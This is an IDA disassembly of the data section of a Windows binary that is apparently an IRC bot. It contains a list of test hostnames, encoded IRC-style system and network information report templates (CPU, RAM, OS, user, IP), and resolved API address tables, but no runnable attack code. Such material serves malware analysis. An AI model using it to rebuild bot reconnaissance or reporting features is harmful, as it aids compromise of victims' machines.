aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_4176D9+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_4176D9+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_4176D9+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_4176D9+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_4176D9+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_4176D9+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_4176D9+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_4176D9+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_4176D9+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_4176D9+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_4176D9+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_4178B6+39o
dword_43D0A0	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_4179BF+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43D17C	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_4179BF+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_4179BF:loc_417B23o
		align 10h
aSS_2		db '%s (%s)',0          ; DATA XREF: sub_4179BF+EBo
dword_43D1A8	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_417C73+ABo
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43D1EC	dd offset loc_412F4B+3	; DATA XREF: sub_417C73:loc_417CE7o
off_43D1F0	dd offset byte_4E414C	; DATA XREF: sub_417C73:loc_417CE0o
dword_43D1F4	dd 6C616944h, 70752Dh	; DATA XREF: sub_417C73+5Eo
dword_43D1FC	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h, 0 ; DATA XREF:	sub_417C73+48o
dword_43D210	dd 708FFF82h		; DATA XREF: sub_418638+4w sub_418642r ...
		align 10h
dword_43D220	dd 173Fh		; DATA XREF: sub_4193D9+Dr
		dd 9875h, 9873h
off_43D22C	dd offset sub_4194A8	; DATA XREF: sub_4184E4r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43D238	dd 1B3Fh		; DATA XREF: sub_41951F+Dr
dword_43D23C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_4199A1+2o
					; sub_4199AA+2o
off_43D250	dd offset sub_418522	; DATA XREF: sub_41A609+1Cr
dword_43D254	dd 2			; DATA XREF: sub_4200A4+Er
					; sub_4200DD+46r ...
		dd 10h,	0
off_43D260	dd offset off_43D260	; DATA XREF: sub_41B556+Do
					; sub_41B556+69o ...
off_43D264	dd offset off_43D260	; DATA XREF: sub_41B556:loc_41B5D6r
					; sub_41B556+89w ...
		dd offset dword_43D278
		dd offset dword_43D278
dword_43D270	dd 0FFFFFFFFh		; DATA XREF: sub_41B556r
					; sub_41B69A:loc_41B6E7w
		dd 0FFFFFFFFh
dword_43D278	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	.nsp0:0043D268o
					; .nsp0:0043D26Co
off_43F280	dd offset off_43D260	; DATA XREF: sub_41B69A+15r
					; sub_41B69A+20w ...
dword_43F284	dd 1E0h			; DATA XREF: sub_417F62+185r
					; sub_418273:loc_4182AFr ...
off_43F288	dd offset word_43F292	; DATA XREF: sub_41844E+23r
					; sub_41844E:loc_4184AFr ...
		dd offset word_43F292
		db 2 dup(0)
word_43F292	dw 20h			; DATA XREF: sub_421A60+18r
					; .nsp0:off_43F288o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43F494	dd 1			; DATA XREF: sub_41844E:loc_418456r
					; sub_41844E:loc_41849Ar ...
byte_43F498	db 2Eh			; DATA XREF: sub_41D0F0:loc_41D3E4r
					; sub_41D0F0+311r ...
		align 4
		dd 1
off_43F4A0	dd offset aNull_0	; DATA XREF: sub_41C27F:loc_41C5E3r
					; sub_41C27F+457r
					; "(null)"
off_43F4A4	dd offset aNull		; DATA XREF: sub_41C27F+259r
					; "(null)"
byte_43F4A8	db 1			; DATA XREF: sub_41CA89+E1r
		db 2, 4, 8
		align 10h
dword_43F4B0	dd 3A4h			; DATA XREF: sub_41CA89+2Fo
dword_43F4B4	dd 82798260h, 21h, 0	; DATA XREF: sub_41CA89+11Dr
dword_43F4C0	dd 0DFA6h		; DATA XREF: sub_41CA89+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43F5A0	dd 1			; DATA XREF: sub_41CA89+3Co
					; sub_41CFBF+Co
dword_43F5A4	dd 16h			; DATA XREF: sub_41CFBF:loc_41CFF4r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43F708	dd 0D2D0920h, 5Dh	; DATA XREF: sub_41CFBF+19o
					; sub_41D0F0:loc_41D657o
dword_43F710	dd 5Dh,	0		; DATA XREF: sub_41D0F0:loc_41D547o
dword_43F718	dd 14h			; DATA XREF: sub_41E204+2o
off_43F71C	dd offset aExp		; DATA XREF: sub_41E204:loc_41E221r
					; "exp"
		dd 1Dh,	424864h, 1Ah, 424860h, 1Bh, 424858h, 1Fh, 424850h
		dd 13h,	424848h, 21h, 424840h, 0Eh, 424838h, 0Dh, 424830h
		dd 0Fh,	424828h, 10h, 424820h, 5, 424818h, 1Eh,	424814h
		dd 12h,	424810h, 20h, 42480Ch, 0Ch, 424804h, 0Bh, 4247FCh
		dd 15h,	4247F4h, 1Ch, 4247ECh, 19h, 4247E4h, 11h, 4247DCh
		dd 18h,	4247D4h, 16h, 4247CCh, 17h, 4247C4h, 22h, 4247C0h
		dd 23h,	4247BCh, 24h, 4247B8h
dbl_43F7F0	dq 1.797693134862316e308 ; DATA	XREF: sub_41DF3F+B7r
					; sub_41DF3F:loc_41E026r ...
		dd 0
		dd 0FFF80000h
dbl_43F800	dq 1.797693134862316e308 ; DATA	XREF: sub_41DF3F+92r
					; sub_41DF3F:loc_41DFFEr ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43F818	dt 2.3562723457267347066e313 ; DATA XREF: sub_41E3EC+Dr
					; sub_41E3EC+1Fr
		align 4
tbyte_43F824	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41E3EC+31r
		align 10h
off_43F830	dd offset sub_41E880	; DATA XREF: sub_4194C0+Fw
					; sub_41C27F+3AAr
off_43F834	dd offset sub_41E515	; DATA XREF: sub_4194C0+5w
					; sub_41C27F+3E2r
off_43F838	dd offset sub_41E57B	; DATA XREF: sub_4194C0+14w
					; sub_41D0F0+430r
off_43F83C	dd offset sub_41E4BB	; DATA XREF: sub_4194C0+1Ew
					; sub_41C27F+3CBr
off_43F840	dd offset sub_41E563	; DATA XREF: sub_4194C0+28w
off_43F844	dd offset sub_41E880	; DATA XREF: sub_4194C0+32w
		dd offset sub_42131C
		align 10h
		dd offset sub_41F13C
off_43F854	dd offset sub_41F13C	; DATA XREF: sub_41F192+29r
off_43F858	dd offset dword_4DD1C0	; DATA XREF: sub_41F30B+55o
		align 10h
		dd offset dword_4DD1C0
		dd 101h
dword_43F868	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41F30B+72o
		dd 1000h, 0
dword_43F878	dd 3 dup(0)		; DATA XREF: sub_419F4C+2o
					; sub_41C16A+50o ...
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43F898	dd 3 dup(0)		; DATA XREF: sub_41C16A+58o
					; sub_41D026:loc_41D044o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43F8C8	dd 84h dup(0)		; DATA XREF: sub_41F30B+9Bo
dword_43FAD8	dd 0C0000005h		; DATA XREF: sub_41F30B+69o
					; sub_41F946+Ar ...
dword_43FADC	dd 0Bh			; DATA XREF: sub_422692+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43FB50	dd 3			; DATA XREF: sub_41F805+58r
					; sub_422565+C8r
dword_43FB54	dd 7			; DATA XREF: sub_41F805+5Er
					; sub_422565+CDr
dword_43FB58	dd 0Ah			; DATA XREF: sub_41F946+4r
					; sub_422692+4r
dword_43FB5C	dd 8Ch			; DATA XREF: sub_41F805+82r
					; sub_41F805+8Fw ...
dword_43FB60	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41BC23:loc_41BCA4o
					; sub_41C16A:loc_41C227o
dword_43FB68	dd 2			; DATA XREF: sub_4200DD+Eo
					; sub_4200DD+28r
off_43FB6C	dd offset aR6002FloatingP ; DATA XREF: sub_4200DD+FCr
					; sub_4200DD+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 424B84h, 9, 424B58h, 0Ah,	424B34h, 10h, 424B08h
		dd 11h,	424AD8h, 12h, 424AB4h, 13h, 424A88h, 18h, 424A50h
		dd 19h,	424A28h, 1Ah, 4249F0h, 1Bh, 4249B8h, 1Ch, 424990h
		dd 78h,	424980h, 79h, 424970h, 7Ah, 424960h, 0FCh, 438278h
		dd 0FFh, 424950h
dword_43FBF8	dd 2 dup(0)		; DATA XREF: sub_4200DD+1Bo
dword_43FC00	dd 2694h		; DATA XREF: sub_41DBA1+3r
					; sub_41DBF4+46r
		align 8
dword_43FC08	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4210FCo
dword_43FC20	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_421112o
dword_43FC38	dd 7080h		; DATA XREF: sub_41F249+76r
					; sub_4213FC+5Ew ...
dword_43FC3C	dd 1			; DATA XREF: sub_41F249+98r
					; sub_4213FC+8Bw ...
dword_43FC40	dd 0FFFFF1F0h		; DATA XREF: sub_41F249:loc_41F2FBr
					; sub_4213FC+94w ...
dword_43FC44	dd 545350h, 0Fh	dup(0)	; DATA XREF: .nsp0:off_43FCC4o
dword_43FC84	dd 544450h, 0Fh	dup(0)	; DATA XREF: .nsp0:off_43FCC8o
off_43FCC4	dd offset dword_43FC44	; DATA XREF: sub_4213FC+BAr
					; sub_4213FC+D9r ...
off_43FCC8	dd offset dword_43FC84	; DATA XREF: sub_4213FC+F4r
					; sub_4213FC+11Br ...
		align 10h
dword_43FCD0	dd 0FFFFFFFFh		; DATA XREF: sub_4213FC+1Dw
					; sub_42165A+1Er ...
dword_43FCD4	dd 0			; DATA XREF: sub_42165A:loc_42178Er
					; sub_421806+BFw
dword_43FCD8	dd 0			; DATA XREF: sub_42165A+192r
					; sub_421806+E0w
		align 10h
dword_43FCE0	dd 0FFFFFFFFh		; DATA XREF: sub_4213FC+17w
					; sub_42165A+26r ...
dword_43FCE4	dd 0			; DATA XREF: sub_42165A+13Ar
					; sub_421806+EAw ...
dword_43FCE8	dd 0			; DATA XREF: sub_42165A+1A1r
					; sub_421806+23r ...
dword_43FCEC	dd 0FFFFFFFFh		; DATA XREF: sub_421806+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43FD1C	dd 16Dh			; DATA XREF: sub_41F249+2Ar
					; sub_421806+2Er ...
dword_43FD20	dd 0FFFFFFFFh		; DATA XREF: sub_421806:loc_421892r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43FD58	dd 2 dup(0)		; DATA XREF: sub_4229EA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43FEB8	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_4229EA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_440018	dd offset off_424D78	; DATA XREF: .nsp0:off_424DA0o
					; .nsp0:00424ECCo ...
		align 10h
a_?avexception@	db '.?AVexception@@',0
off_440030	dd offset off_424D78	; DATA XREF: .nsp0:off_424DB8o
					; .nsp0:00424E4Co ...
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
off_440050	dd offset off_424D78	; DATA XREF: .nsp0:off_424DD0o
					; .nsp0:00424E14o ...
		align 8
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_440070	dd offset off_424D78	; DATA XREF: .nsp0:off_424E58o
					; .nsp0:00424E9Co ...
		align 8
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
off_440090	dd offset off_424D78	; DATA XREF: .nsp0:off_424ED8o
					; .nsp0:00424F14o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42131C
		align 10h
dword_4400B0	dd 0			; DATA XREF: sub_40111A+C8o
byte_4400B4	db 0			; DATA XREF: sub_40111A+62o
					; sub_40121E+23Eo ...
		align 4
dword_4400B8	dd 0			; DATA XREF: sub_40121E+37Do
					; sub_401AA1+6F9o ...
		dd 5 dup(0)
dword_4400D0	dd 0			; DATA XREF: sub_401AA1+88Ar
					; sub_413E42+60r
		dd 2D9h	dup(0)
dword_440C38	dd 0			; DATA XREF: sub_401AA1+55ADr
					; sub_401AA1+56AFr ...
		dd 7Fh dup(0)
dword_440E38	dd 0			; DATA XREF: sub_40A130+4Cw
					; sub_40A26B+3Aw ...
dword_440E3C	dd 0			; DATA XREF: sub_40A130+3Ew
					; sub_40A26B+40w ...
dword_440E40	dd 0			; DATA XREF: sub_40A130+45w
					; sub_40A26B+34r ...
dword_440E44	dd 0			; DATA XREF: sub_40111A+Cr
					; sub_4017BF+B9w ...
dword_440E48	dd 0			; DATA XREF: sub_40A26B+6Fr
					; sub_40A446+2Aw ...
dword_440E4C	dd 0			; DATA XREF: sub_40121E+3C9w
					; sub_40121E+441w ...
byte_440E50	db 0			; DATA XREF: sub_4017BF+91o
					; sub_401AA1+54F5r ...
		align 4
		dd 123Fh dup(0)
dword_445750	dd 473Ch dup(0)		; DATA XREF: .nsp0:off_4381C0o
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: .nsp0:off_43B890o
		dd 0E304h dup(0)
dword_490054	dd 11FBh dup(0)		; DATA XREF: .nsp0:00435A29o
					; .nsp0:00436259o
		db 3 dup(0)
byte_494843	db 0			; DATA XREF: .nsp0:off_428B74o
		dd 6E03h dup(0)
		db 2 dup(0)
word_4B0052	dw 0			; DATA XREF: .nsp0:0043624Fo
		dd 147Ch dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: .nsp0:off_43B6FCo
dword_4B5248	dd 627Ch dup(0)
dword_4CDC38	dd 0A510h		; DATA XREF: sub_40111A+FDw
					; sub_40A130+13o ...
dword_4CDC3C	dd 1Ah			; DATA XREF: sub_40121E+3Dw
					; sub_401AA1:loc_403FEDr ...
dword_4CDC40	dd 0			; DATA XREF: sub_40121E:loc_4016E7o
dword_4CDC44	dd 20h dup(0)		; DATA XREF: sub_40121E+480o
					; sub_40121E+50Do ...
dword_4CDCC4	dd 10h dup(0)		; DATA XREF: sub_40121E+496o
dword_4CDD04	dd 24h dup(0)		; DATA XREF: sub_40121E+4ADo
dword_4CDD94	dd 0			; DATA XREF: sub_40121E+4A1w
					; sub_40121E+524w ...
dword_4CDD98	dd 0			; DATA XREF: sub_40121E+4BDw
		dd 2 dup(0)
byte_4CDDA4	db 0			; DATA XREF: sub_401925+28r
					; sub_401925+30o
		align 4
dword_4CDDA8	dd 0			; DATA XREF: sub_40121E+4CEw
					; sub_40121E+4E2r ...
dword_4CDDAC	dd 0			; DATA XREF: sub_40121E+485w
					; sub_401AA1+7FDr
dword_4CDDB0	dd 0			; DATA XREF: sub_401AA1+6F45o
					; sub_40B9B9+13o ...
dword_4CDDB4	dd 77C72C6Bh		; DATA XREF: sub_408C5C+44Dw
					; sub_408C5C+491r
dword_4CDDB8	dd 77EBA994h		; DATA XREF: sub_408C5C+65w
					; sub_416D91+156r
dword_4CDDBC	dd 7622A3F4h		; DATA XREF: sub_408C5C+7B1w
					; sub_408C5C+826r ...
dword_4CDDC0	dd 71C45229h		; DATA XREF: sub_408C5C+97Ew
					; sub_408C5C+9E9r ...
dword_4CDDC4	dd 71C24870h		; DATA XREF: sub_408C5C+930w
					; sub_408C5C+9B9r ...
dword_4CDDC8	dd 77C71BB0h		; DATA XREF: sub_408C5C+433w
					; sub_408C5C+481r
dword_4CDDCC	dd 71C4502Ch		; DATA XREF: sub_408C5C+971w
					; sub_408C5C+9E1r ...
dword_4CDDD0	dd 77DE801Bh		; DATA XREF: sub_408C5C+318w
					; sub_408C5C+36Dr ...
dword_4CDDD4	dd 77DDACABh		; DATA XREF: sub_408C5C+3B5w
					; sub_4179BF+11Er
dword_4CDDD8	dd 77DE8075h		; DATA XREF: sub_408C5C+325w
					; sub_408C5C+375r ...
dword_4CDDDC	dd 77DD7496h		; DATA XREF: sub_408C5C+366w
					; sub_416389+ADr
dword_4CDDE0	dd 71AB1B7Bh		; DATA XREF: sub_408C5C+500w
					; sub_40E667+115r ...
dword_4CDDE4	dd 77E686CCh		; DATA XREF: sub_408C5C+72w
					; sub_408C5C+D2r ...
dword_4CDDE8	dd 71C2498Bh		; DATA XREF: sub_408C5C+923w
					; sub_408C5C+9ACr ...
dword_4CDDEC	dd 77DDAB2Fh		; DATA XREF: sub_408C5C+34Cw
					; sub_408C5C+38Dr ...
dword_4CDDF0	dd 7620E8C3h		; DATA XREF: sub_408C5C+7FFw
					; sub_408C5C+852r
dword_4CDDF4	dd 77DD23D7h		; DATA XREF: sub_408C5C+24Bw
					; sub_408C5C+296r ...
dword_4CDDF8	dd 76214750h		; DATA XREF: sub_408C5C+7F2w
					; sub_408C5C+84Ar ...
dword_4CDDFC	dd 77E6D75Bh		; DATA XREF: sub_408C5C+B3w
dword_4CDE00	dd 7620BD61h		; DATA XREF: sub_408C5C+80Cw
					; sub_408C5C+85Ar ...
dword_4CDE04	dd 71AB60C9h		; DATA XREF: sub_408C5C+4F3w
					; sub_408C5C+676r ...
dword_4CDE08	dd 77EBA6E9h		; DATA XREF: sub_408C5C+58w
					; sub_408C5C+CAr ...
dword_4CDE0C	dd 76D62A58h		; DATA XREF: sub_408C5C+8DAw
					; sub_412045+11Ar
dword_4CDE10	dd 76F36EAAh		; DATA XREF: sub_401AA1:loc_4039E9r
					; sub_408C5C+A3Bw ...
dword_4CDE14	dd 77E802FCh		; DATA XREF: sub_408C5C+A6w
					; sub_408C5C+F2r
dword_4CDE18	dd 77C75455h		; DATA XREF: sub_408C5C+426w
					; sub_408C5C+479r
dword_4CDE1C	dd 71AB12A7h		; DATA XREF: sub_408C5C+59Cw
					; sub_40AFCC+20r ...
dword_4CDE20	dd 71C574FAh		; DATA XREF: sub_408C5C+964w
					; sub_408C5C+9D9r
dword_4CDE24	dd 71AB1746h		; DATA XREF: sub_408C5C+58Fw
					; sub_408C5C+6FAr
dword_4CDE28	dd 71C21CA3h		; DATA XREF: sub_408C5C+9B2w
dword_4CDE2C	dd 71B28D0Dh		; DATA XREF: sub_408C5C+AF6w
dword_4CDE30	dd 762211EFh		; DATA XREF: sub_408C5C+7A4w
					; sub_408C5C+813r
dword_4CDE34	dd 77D902E3h		; DATA XREF: sub_408C5C+1B3w
					; sub_415950+15r
dword_4CDE38	dd 71C2FA86h		; DATA XREF: sub_408C5C+93Dw
					; sub_408C5C+9C1r ...
dword_4CDE3C	dd 77DE1291h		; DATA XREF: sub_408C5C+332w
					; sub_408C5C+37Dr ...
dword_4CDE40	dd 77E2C1B3h		; DATA XREF: sub_408C5C+33Fw
					; sub_408C5C+385r ...
dword_4CDE44	dd 71ABF628h		; DATA XREF: sub_408C5C+652w
					; sub_40FD18+D0r
dword_4CDE48	dd 71AB1836h		; DATA XREF: sub_40111A+1Dr
					; sub_40111A+23r ...
dword_4CDE4C	dd 77C72889h		; DATA XREF: sub_408C5C+45Aw
dword_4CDE50	dd 71C453F8h		; DATA XREF: sub_408C5C+98Bw
					; sub_408C5C+9F1r ...
dword_4CDE54	dd 77DD5C55h		; DATA XREF: sub_401000+55r
					; sub_408C5C+258w ...
dword_4CDE58	dd 77E96645h		; DATA XREF: sub_408C5C+7Fw
					; sub_408C5C+DAr ...
dword_4CDE5C	dd 77428B97h		; DATA XREF: sub_401AA1+5060r
					; sub_401AA1+6BBAr ...
dword_4CDE60	dd 71AB41DAh		; DATA XREF: sub_40121E+8Cr
					; sub_401AA1+485Ar ...
dword_4CDE64	dd 762059A3h		; DATA XREF: sub_408C5C+7CBw
					; sub_408C5C+836r
dword_4CDE68	dd 71C4A1B4h		; DATA XREF: sub_408C5C+94Aw
					; sub_408C5C+9C9r
dword_4CDE6C	dd 1F7CD214h		; DATA XREF: sub_408C5C+BB4w
					; sub_408C5C+BE5r
dword_4CDE70	dd 77E09134h		; DATA XREF: sub_408C5C+272w
					; sub_415AFA+47r
dword_4CDE74	dd 76D629BBh		; DATA XREF: sub_408C5C+8C0w
					; sub_408C5C+8D4r ...
dword_4CDE78	dd 1F7B9D96h		; DATA XREF: sub_408C5C+BCEw
dword_4CDE7C	dd 77E09070h		; DATA XREF: sub_408C5C+27Fw
					; sub_415AFA+4Fr
dword_4CDE80	dd 71AB1740h		; DATA XREF: sub_408C5C+51Aw
					; sub_408C5C+68Er ...
dword_4CDE84	dd 7620AFB6h		; DATA XREF: sub_408C5C+7E5w
					; sub_408C5C+819r
dword_4CDE88	dd 77D45B19h		; DATA XREF: sub_408C5C+172w
					; sub_408C5C+1C2r
dword_4CDE8C	dd 71AB157Eh		; DATA XREF: sub_401AA1+192Dr
					; sub_401AA1+5217r ...
dword_4CDE90	dd 71AB3E5Dh		; DATA XREF: sub_4017BF+C4r
					; sub_401AA1+48E4r ...
dword_4CDE94	dd 71AB14DCh		; DATA XREF: sub_408C5C+50Dw
					; sub_408C5C+682r ...
dword_4CDE98	dd 0CC0004h		; DATA XREF: sub_408C5C+881w
					; sub_408C5C:loc_4094FBw ...
dword_4CDE9C	dd 77DD590Bh		; DATA XREF: sub_401000+2Ar
					; sub_408C5C+231w ...
dword_4CDEA0	dd 71ABD755h		; DATA XREF: sub_401AA1+6B3Cr
					; sub_408C5C+645w ...
dword_4CDEA4	dd 77DF7311h		; DATA XREF: sub_408C5C+2D3w
					; sub_408C5C+2E7r ...
dword_4CDEA8	dd 77DDA2AFh		; DATA XREF: sub_408C5C+359w
					; sub_408C5C+395r ...
dword_4CDEAC	dd 1F7CD927h		; DATA XREF: sub_408C5C+BA7w
					; sub_408C5C+BDDr
dword_4CDEB0	dd 76206853h		; DATA XREF: sub_408C5C+7BEw
					; sub_408C5C+82Er
dword_4CDEB4	dd 77D5E310h		; DATA XREF: sub_408C5C+18Cw
					; sub_408C5C+1D2r ...
dword_4CDEB8	dd 76206B7Fh		; DATA XREF: sub_408C5C+7D8w
					; sub_408C5C+83Er
dword_4CDEBC	dd 71AB1444h		; DATA XREF: sub_408C5C+5CAw
					; sub_408C5C+71Ar ...
dword_4CDEC0	dd 77DD189Ah		; DATA XREF: sub_401000+5Er
					; sub_408C5C+265w ...
dword_4CDEC4	dd 71AB3F8Dh		; DATA XREF: sub_408C5C+611w
					; sub_408C5C+742r ...
dword_4CDEC8	dd 77DD5D20h		; DATA XREF: sub_408C5C+2C6w
					; sub_408C5C+2DAr ...
dword_4CDECC	dd 71AB1890h		; DATA XREF: sub_408C5C+5EAw
					; sub_408C5C+72Ar ...
dword_4CDED0	dd 77C76B34h		; DATA XREF: sub_408C5C+3F2w
					; sub_408C5C+454r
dword_4CDED4	dd 77D5E38Ch		; DATA XREF: sub_408C5C+199w
					; sub_408C5C+1DAr ...
dword_4CDED8	dd 77DDA20Bh		; DATA XREF: sub_408C5C+30Bw
					; sub_408C5C+360r ...
